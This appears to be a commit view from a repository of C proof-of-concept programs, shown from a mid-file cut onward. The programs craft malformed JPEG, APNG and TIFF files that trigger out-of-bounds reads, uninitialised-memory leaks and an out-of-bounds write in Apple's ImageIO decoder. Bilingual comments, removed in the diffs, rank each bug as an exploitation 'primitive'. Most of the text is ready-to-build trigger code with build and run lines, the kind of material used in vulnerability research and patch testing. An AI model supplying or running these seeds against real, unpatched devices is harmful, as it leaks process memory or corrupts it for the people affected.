#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
// the metadata walk is where GPSCopy::processData reads the oob offset
CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames,
props ? "present" : "absent");
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
if (props) CFRelease(props);
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
uint32_t delta = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x10000;
buf jpeg = jpeg_gps_oob(delta);
FILE *f = fopen("gps_oob.jpg", "wb");
if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&jpeg, &detail);
printf("CVE-2026-112629 · GPSAltitude offset delta +0x%x · %s\n", delta, detail ? detail : "?");
printf("seed: gps_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
bfree(&jpeg);
return rc == 0 ? 0 : 1;
}
+3 -17
View File
@@ -1,22 +1,8 @@
// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629 // iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
// 原语: OOB 读 · 进程内 · tier 2 // GPS IFD value offset out of bounds
// Primitive: OOB read · in-process · tier 2
//
// [zh] GPS IFD 值偏移越界
// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength
// / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。
//
// [en] GPS IFD value offset out of bounds
// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value
// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every
// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws
// OutOfBounds on violation.
// ── 判别 / oracle ──
// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── // ── seed construction (from Cinder27 Sources: JPEGPayload) ──
enum JPEGPayload { enum JPEGPayload {
static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data { static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
var tiff = Data() var tiff = Data()
+185
View File
@@ -0,0 +1,185 @@
// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
// APNG fcTL chunk truncated mid-header
// C twin of the Swift POC: builds the truncated-fcTL APNG and reads its frame count + decode.
// Build: clang -O2 -o cve-2026-112630 CVE-2026-112630.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112630 [mode] (0 = declared-26/truncated-4, 1 = file ends inside fcTL, 2 = valid control)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── png pieces (from Cinder27 Sources: PNGPayload) ──
static uint32_t crc32(const uint8_t *p, size_t n) {
static uint32_t table[256];
static int built;
if (!built) {
for (int i = 0; i < 256; i++) {
uint32_t c = (uint32_t)i;
for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
table[i] = c;
}
built = 1;
}
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
return crc ^ 0xFFFFFFFF;
}
// zlib stored-block wrapper around `input`
static void zlib_store(buf *out, const uint8_t *input, size_t in_n) {
bput(out, 0x78); bput(out, 0x01);
size_t off = 0;
if (in_n == 0) { bcat(out, "\x01\x00\x00\xff\xff", 5); }
while (off < in_n) {
size_t take = in_n - off < 65535 ? in_n - off : 65535;
bput(out, off + take >= in_n ? 0x01 : 0x00);
bput(out, take & 0xff); bput(out, (take >> 8) & 0xff);
uint16_t ntake = (uint16_t)~take;
bput(out, ntake & 0xff); bput(out, (ntake >> 8) & 0xff);
bcat(out, input + off, take);
off += take;
}
uint32_t a = 1, b = 0;
for (size_t i = 0; i < in_n; i++) { a = (a + input[i]) % 65521; b = (b + a) % 65521; }
be32(out, (b << 16) | a);
}
static void png_chunk(buf *out, const char *type, const uint8_t *data, size_t n, int declared_len, size_t truncate_to) {
size_t body_n = truncate_to < n ? truncate_to : n;
uint32_t len = declared_len >= 0 ? (uint32_t)declared_len : (uint32_t)n;
be32(out, len);
bcat(out, type, 4);
bcat(out, data, body_n);
uint8_t crc_input[512];
size_t ci = 0;
memcpy(crc_input, type, 4); ci = 4;
memcpy(crc_input + ci, data, body_n); ci += body_n;
be32(out, crc32(crc_input, ci));
}
// ── seed construction (from Cinder27 Sources: PNGPayload.apngTruncatedFCTL) ──
static buf apng_truncated_fctl(int mode) {
buf out = {0};
bcat(&out, "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a", 8);
// IHDR: 4x4, 8-bit RGBA
uint8_t ihdr[13];
be32(&(buf){0}, 0); // placeholder, built manually below
{
uint8_t *p = ihdr;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // width
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // height
*p++ = 8; *p++ = 6; *p++ = 0; *p++ = 0; *p++ = 0;
}
png_chunk(&out, "IHDR", ihdr, 13, -1, SIZE_MAX);
// acTL: 2 frames, 0 plays
uint8_t actl[8];
{
uint8_t *p = actl;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 2;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
}
png_chunk(&out, "acTL", actl, 8, -1, SIZE_MAX);
// fcTL body: seq 0, w 4, h 4, x 0, y 0, delay 1/10, dispose 0, blend 0
uint8_t fctl[26];
{
uint8_t *p = fctl;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
*p++ = 0; *p++ = 1; // delay num
*p++ = 0; *p++ = 10; // delay den
*p++ = 0; *p++ = 0; // dispose op / blend op
}
// a real 4x4 RGBA frame
uint8_t raw_rows[4 * 17];
{
uint8_t *p = raw_rows;
for (int r = 0; r < 4; r++) {
*p++ = 0; // filter byte
for (int c = 0; c < 16; c++) *p++ = 0x80;
}
}
buf idat = {0};
zlib_store(&idat, raw_rows, sizeof raw_rows);
if (mode == 2) {
// control: a fully valid first fcTL
png_chunk(&out, "fcTL", fctl, 26, -1, SIZE_MAX);
png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX);
png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX);
} else if (mode == 0) {
// header claims 26 bytes, only 4 present
png_chunk(&out, "fcTL", fctl, 26, 26, 4);
png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX);
png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX);
} else {
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
be32(&out, 26);
bcat(&out, "fcTL", 4);
bcat(&out, fctl, 4);
}
bfree(&idat);
return out;
}
// ── trigger: frame count + decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
// getImageCount is the call that walks fcTL on the vulnerable build
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, frame count %zu",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0, frame count %zu", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
int mode = argc > 1 ? atoi(argv[1]) : 0;
buf png = apng_truncated_fctl(mode);
const char *names[3] = {"apng_trunc_fctl.png", "apng_ends_inside_fctl.png", "apng_valid_fctl.png"};
FILE *f = fopen(names[mode == 0 ? 0 : mode == 1 ? 1 : 2], "wb");
if (f) { fwrite(png.d, 1, png.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&png, &detail);
printf("CVE-2026-112630 · fcTL mode %d (0 = 26B declared / 4B present) · %s\n", mode, detail ? detail : "?");
printf("seed: %s (%zu B) · exit code %d\n", names[mode == 0 ? 0 : mode == 1 ? 1 : 2], png.n, rc);
bfree(&png);
return rc == 0 ? 0 : 1;
}
+3 -15
View File
@@ -1,20 +1,8 @@
// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630 // iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
// 原语: 信息泄露 · 进程内 · tier 2 // APNG fcTL truncation → uninitialised frame geometry on the stack
// Primitive: info leak · in-process · tier 2
//
// [zh] APNG fcTL 截断 → 栈上未初始化帧几何
// 在 fcTL 偏移处读取 34 字节,且不检查返回值。当文件在 fcTL 中间被截断时,该 34 字节栈缓冲只有前部被写入,其余部分作为帧宽、高、偏移与延时被解析。
//
// [en] APNG fcTL truncation → uninitialised frame geometry on the stack
// Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file
// is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is
// parsed as frame width, height, offsets and delay.
// ── 判别 / oracle ──
// 27.2 改为读 26 字节并检查 cmp x0,#0x1a,报 \"*** truncated 'fcTL' chunk at offset %ld\"。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -35,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PNGPayload) ── // ── seed construction (from Cinder27 Sources: PNGPayload) ──
enum PNGPayload { enum PNGPayload {
static func apngTruncatedFCTL(mode: Int = 0) -> Data { static func apngTruncatedFCTL(mode: Int = 0) -> Data {
var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
+175
View File
@@ -0,0 +1,175 @@
// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
// Truncated strip scatter of uninitialised buffer bytes
// C twin of the Swift POC: builds the truncated-strip TIFF and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112632 CVE-2026-112632.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112632 [width] [height]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
// ── TIFF IFD builder (from Cinder27 Sources: TIFFPayload.build) ──
// Entry values longer than 4 bytes must be supplied as a blob under the same tag.
typedef struct { uint16_t tag, type; uint32_t count; const uint8_t *value; size_t value_n; } tentry;
typedef struct { uint16_t tag; const uint8_t *bytes; size_t n; } tblob;
static buf tiff_build(const tentry *entries, int n, const tblob *blobs, int nblobs) {
size_t ifd_size = 2 + (size_t)n * 12 + 4;
size_t extra_offset = 8 + ifd_size;
if (extra_offset % 2) extra_offset++;
// sort entries by tag
tentry sorted[16];
memcpy(sorted, entries, (size_t)n * sizeof(tentry));
for (int i = 0; i < n; i++) for (int j = i + 1; j < n; j++) {
if (sorted[j].tag < sorted[i].tag) { tentry t = sorted[i]; sorted[i] = sorted[j]; sorted[j] = t; }
}
// blob offsets, assigned in blob order
size_t blob_off[8] = {0};
size_t cur = extra_offset;
for (int i = 0; i < nblobs; i++) { blob_off[i] = cur; cur += blobs[i].n; }
buf out = {0};
bcat(&out, "II\x2a\x00", 4);
le32(&out, 8);
le16(&out, (uint16_t)n);
for (int i = 0; i < n; i++) {
const tentry *e = &sorted[i];
le16(&out, e->tag);
le16(&out, e->type);
le32(&out, e->count);
if (e->value_n <= 4) {
bcat(&out, e->value, e->value_n);
brep(&out, 0, 4 - e->value_n);
} else {
// find the blob carrying this tag
size_t off = 0;
for (int j = 0; j < nblobs; j++) if (blobs[j].tag == e->tag) { off = blob_off[j]; break; }
le32(&out, (uint32_t)off);
}
}
le32(&out, 0); // next IFD
if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n);
for (int i = 0; i < nblobs; i++) bcat(&out, blobs[i].bytes, blobs[i].n);
return out;
}
// ── seed construction (from Cinder27 Sources: TIFFPayload.truncatedStrip) ──
static buf tiff_truncated_strip(int width, int height) {
uint32_t strip_bytes = (uint32_t)(width * height / 2);
uint8_t placeholder[8] = {0};
uint8_t counts[8], v256[4], v257[4], v258[2], v259[2], v262[2], v277[2], v278[4], v284[2];
// inline values
{
uint8_t w[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)};
uint8_t h[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
uint8_t rows[4] = {(uint8_t)(height / 2), (uint8_t)((height / 2) >> 8), 0, 0};
memcpy(v256, w, 4); memcpy(v257, h, 4); memcpy(v278, rows, 4);
}
v258[0] = 8; v258[1] = 0; // BitsPerSample
v259[0] = 1; v259[1] = 0; // compression none
v262[0] = 1; v262[1] = 0; // photometric min-is-black
v277[0] = 1; v277[1] = 0; // spp 1
v284[0] = 1; v284[1] = 0; // planar chunky
{
buf c = {0};
le32(&c, strip_bytes); le32(&c, strip_bytes);
memcpy(counts, c.d, 8);
bfree(&c);
}
tentry entries[10] = {
{256, 4, 1, v256, 4},
{257, 4, 1, v257, 4},
{258, 3, 1, v258, 2},
{259, 3, 1, v259, 2},
{262, 3, 1, v262, 2},
{273, 4, 2, placeholder, 8},
{277, 3, 1, v277, 2},
{278, 4, 1, v278, 4},
{279, 4, 2, counts, 8},
{284, 3, 1, v284, 2},
};
tblob blobs[1] = { {273, placeholder, 8} };
// pass 1: placeholder fixes the layout
buf data = tiff_build(entries, 10, blobs, 1);
uint32_t base = (uint32_t)data.n;
bfree(&data);
// pass 2: real strip offsets (identical layout)
uint8_t offsets[8];
{
buf c = {0};
le32(&c, base); le32(&c, base + strip_bytes);
memcpy(offsets, c.d, 8);
bfree(&c);
}
entries[5].value = offsets;
tblob blobs2[1] = { {273, offsets, 8} };
data = tiff_build(entries, 10, blobs2, 1);
// strip 1: full; strip 2: physically truncated to 16 bytes
brep(&data, 0x33, strip_bytes);
brep(&data, 0x00, 16);
return data;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
int width = argc > 1 ? atoi(argv[1]) : 32;
int height = argc > 2 ? atoi(argv[2]) : 32;
buf tiff = tiff_truncated_strip(width, height);
FILE *f = fopen("trunc_strip.tif", "wb");
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&tiff, &detail);
printf("CVE-2026-112632 · %dx%d, strip byte counts claim %d, second strip is 16 B · %s\n",
width, height, width * height / 2, detail ? detail : "?");
printf("seed: trunc_strip.tif (%zu B) · exit code %d\n", tiff.n, rc);
bfree(&tiff);
return rc == 0 ? 0 : 1;
}
+3 -15
View File
@@ -1,20 +1,8 @@
// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632 // iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
// 原语: 信息泄露 · 进程内 · tier 2 // TIFF truncated strip → uninitialised heap into pixels
// Primitive: info leak · in-process · tier 2
//
// [zh] TIFF 截断条带 → 未初始化堆进像素
// TIFFReadEncodedStrip 的返回值未被检查。读取失败时,未初始化的 malloc 条带缓冲被散写进输出图像,故解码所得像素即为进程堆中的残留内容。
//
// [en] TIFF truncated strip → uninitialised heap into pixels
// The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd
// strip buffer is scattered into the output image, so the decoded pixels are whatever was left on
// the process heap.
// ── 判别 / oracle ──
// 判别方法:对同一文件连续解码三次并比对输出指纹。若条带区域每次不同,即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -35,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ── // ── seed construction (from Cinder27 Sources: TIFFPayload) ──
enum TIFFPayload { enum TIFFPayload {
struct Entry { struct Entry {
let tag: UInt16 let tag: UInt16
+166
View File
@@ -0,0 +1,166 @@
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633
// Planar configuration scatter past the destination row
// C twin of the Swift POC: builds the 4-plane/3-channel TIFF and decodes it through ImageIO.
// Variant iio.pdf.raster (oversized MediaBox rasterization) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-112633 CVE-2026-112633.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112633 [spp]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
// ── seed construction (from Cinder27 Sources: TIFFPayload.planarScatter) ──
// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with
// PlanarConfiguration=2 makes the 4th plane scatter past it.
static buf tiff_planar_scatter(int width, int height, int spp, uint16_t photometric) {
size_t strip_bytes = (size_t)width * height;
// deterministic layout: IFD at 8, BitsPerSample blob, StripOffsets blob, plane data
size_t ifd_size = 2 + 10 * 12 + 4;
size_t extra_offset = 8 + ifd_size;
if (extra_offset % 2) extra_offset++;
size_t bits_offset = extra_offset;
size_t offsets_blob_offset = bits_offset + (size_t)spp * 2;
size_t strip_base = offsets_blob_offset + (size_t)spp * 4;
uint8_t bits[8] = {0}; // up to 4 planes × le16(8)
for (int i = 0; i < spp && i < 4; i++) { bits[i * 2] = 8; bits[i * 2 + 1] = 0; }
uint8_t strip_offsets[16] = {0}; // up to 4 × le32
for (int i = 0; i < spp && i < 4; i++) {
uint32_t v = (uint32_t)(strip_base + (size_t)i * strip_bytes);
strip_offsets[i * 4] = v & 0xff;
strip_offsets[i * 4 + 1] = (v >> 8) & 0xff;
strip_offsets[i * 4 + 2] = (v >> 16) & 0xff;
strip_offsets[i * 4 + 3] = (v >> 24) & 0xff;
}
uint8_t counts[16] = {0}; // up to 4 × le32 strip byte counts
for (int i = 0; i < spp && i < 4; i++) {
uint32_t v = (uint32_t)strip_bytes;
counts[i * 4] = v & 0xff;
counts[i * 4 + 1] = (v >> 8) & 0xff;
counts[i * 4 + 2] = (v >> 16) & 0xff;
counts[i * 4 + 3] = (v >> 24) & 0xff;
}
uint8_t v256[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)};
uint8_t v257[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
uint8_t v258c[4] = {0}; // placeholder for the 2-byte tag 258 inline field
uint8_t v259[2] = {1, 0}; // compression none
uint8_t v262[2] = {(uint8_t)photometric, (uint8_t)(photometric >> 8)};
uint8_t v273c[4] = {0}; // placeholder — real value is the blob offset
uint8_t v277[2] = {(uint8_t)spp, (uint8_t)(spp >> 8)};
uint8_t v278[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
uint8_t v284[2] = {2, 0}; // PlanarConfiguration = 2 (planar)
// tag-sorted IFD entries; the two >4-byte values are carried by blobs
// tag 258 (BitsPerSample, count=spp) — blob at bits_offset
// tag 273 (StripOffsets, count=spp) — blob at offsets_blob_offset
// tag 279 (StripByteCounts, count=spp) — blob, appended after 273
buf out = {0};
bcat(&out, "II\x2a\x00", 4);
le32(&out, 8);
le16(&out, 10);
struct { uint16_t tag, type; uint32_t count; uint32_t val; } e[10] = {
{256, 4, 1, 0}, {257, 4, 1, 0},
{258, 3, (uint32_t)spp, (uint32_t)bits_offset},
{259, 3, 1, 0}, {262, 3, 1, 0},
{273, 4, (uint32_t)spp, (uint32_t)offsets_blob_offset},
{277, 3, 1, 0}, {278, 4, 1, 0},
{279, 4, (uint32_t)spp, (uint32_t)(offsets_blob_offset + (size_t)spp * 4)},
{284, 3, 1, 0},
};
// inline values for the scalar entries
uint32_t scalars[10] = {0};
memcpy(&scalars[0], v256, 4);
memcpy(&scalars[1], v257, 4);
// 258: blob
memcpy(&scalars[3], v259, 2); // zero-padded inline
memcpy(&scalars[4], v262, 2);
// 273: blob
memcpy(&scalars[6], v277, 2);
memcpy(&scalars[7], v278, 4);
// 279: blob
memcpy(&scalars[9], v284, 2);
(void)v258c; (void)v273c;
for (int i = 0; i < 10; i++) {
le16(&out, e[i].tag);
le16(&out, e[i].type);
le32(&out, e[i].count);
if (e[i].tag == 258 || e[i].tag == 273 || e[i].tag == 279) {
le32(&out, e[i].val); // blob offset
} else {
le32(&out, scalars[i]);
}
}
le32(&out, 0); // next IFD
if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n);
bcat(&out, bits, (size_t)spp * 2); // 258 blob
bcat(&out, strip_offsets, (size_t)spp * 4); // 273 blob
bcat(&out, counts, (size_t)spp * 4); // 279 blob
if (out.n < strip_base) brep(&out, 0, strip_base - out.n);
for (int plane = 0; plane < spp; plane++) {
brep(&out, (uint8_t)(0x40 + plane * 0x20), strip_bytes);
}
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
int width = 64, height = 64;
int spp = argc > 1 ? atoi(argv[1]) : 4;
if (spp < 1) spp = 1; if (spp > 4) spp = 4;
buf tiff = tiff_planar_scatter(width, height, spp, 2);
FILE *f = fopen("planar_scatter.tif", "wb");
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&tiff, &detail);
printf("CVE-2026-112633 · %dx%d RGB destination, %d planes (planar) · %s\n",
width, height, spp, detail ? detail : "?");
printf("seed: planar_scatter.tif (%zu B) · exit code %d\n", tiff.n, rc);
bfree(&tiff);
return rc == 0 ? 0 : 1;
}
+3 -32
View File
@@ -1,23 +1,8 @@
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614 // iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614
// 原语: OOB 写 · 进程内 · tier 2 // TIFF planar scatter out-of-bounds write
// Primitive: OOB write · in-process · tier 2
//
// [zh] TIFF planar 散写越界
